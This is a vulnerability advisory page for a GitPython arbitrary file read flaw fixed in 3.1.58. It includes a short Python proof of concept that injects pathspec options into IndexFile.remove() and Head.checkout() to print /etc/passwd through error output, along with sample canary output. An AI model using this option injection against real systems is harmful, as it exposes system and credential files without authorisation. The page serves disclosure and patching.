CVE-2026-76217 — gitpython
Fix: gitpython-developers/GitPython#2204CVE-2026-76217 is a CWE-73 vulnerability in gitpython. A fix is available for gitpython — see the affected versions and patch details below.
GitPython before 3.1.58 Arbitrary File Read via pathspec-from-file
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-76217.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
gitpythonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout
with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul
makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec
error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the
entire contents of a caller-chosen file are returned to the caller in band.
This is the same primitive as Instance 2 of
GHSA-3f7w-8rr8-f37f - TagReference.create()
with -F, arbitrary file read returned in band - at two sites that advisory assessed and
cleared.
Prior art, and why I am filing rather than commenting
GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment
"--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":
| Call site | git command | that advisory's assessment |
|---|---|---|
IndexFile.remove() | rm | --pathspec-from-file only reads a pathspec; no write or disclosure primitive found |
IndexFile.move() | mv | same |
HEAD.reset() | reset | same |
HEAD.checkout() | checkout | same |
That assessment is very nearly right, and I think that is why it held: with
--pathspec-from-file alone, Git splits on newlines and the error quotes only the first
line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag
of the same option, and the documented way to handle paths containing newlines - makes the
whole file one pathspec.
Root cause
git/index/base.py:991-1043:
def remove(self, items, working_tree=False, **kwargs):
...
removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines() # line 1043
git/refs/head.py:237-268:
def checkout(self, force: bool = False, **kwargs: Any):
...
self.repo.git.checkout(self, **kwargs) # line 268
Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.
Proof of concept
from git import Repo
from git.exc import GitCommandError
repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)
try:
repo.index.remove([], **kw) # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
print(e.stderr) # <- entire file contents
Observed on published 3.1.57, against a canary file holding three marked lines:
[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
stderr: 'fatal: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
stderr: 'error: pathspec 'LINE1-CANARY-4242
LINE2-SECRET-7777
LINE3-TAIL-9999
' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3
The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.
Scope correction to the table above
Of the four sites cleared with that sentence, two disclose and two do not:
| Call site | disclosed? |
|---|---|
IndexFile.remove() → git rm | yes, full file |
Head.checkout() → git checkout | yes, full file |
HEAD.reset() → git reset | no - git reset does not error on unmatched pathspecs |
IndexFile.move() → git mv | no |
The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | gitpython | all versions | 3.1.58pip install --upgrade 'gitpython==3.1.58' |
Affected Products
gitpythongitpython_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gitpython, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gitpython to 3.1.58 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-76217 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
GitPython before 3.1.58 does not validate options passed to the underlying `git rm` and `git checkout` commands in IndexFile.remove() and Head.checkout(). An attacker able to control the path/pathspec argument passed to these methods can inject the `--pathspec-from-file` and `--pathspec-file-nul` options and read…
Applications using GitPython should not pass untrusted or attacker-controlled input directly as the path/pathspec argument to IndexFile.remove() or Head.checkout(), and should reject any such value beginning with a dash ("-") so that it cannot be interpreted as a git option. Updating GitPython to version 3.1.58 or later, which validates these options, resolves the issue.Source: Red Hat security advisory for CVE-2026-76217 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-76217 in your dependencies?
Find it across PyPI, including transitive dependencies.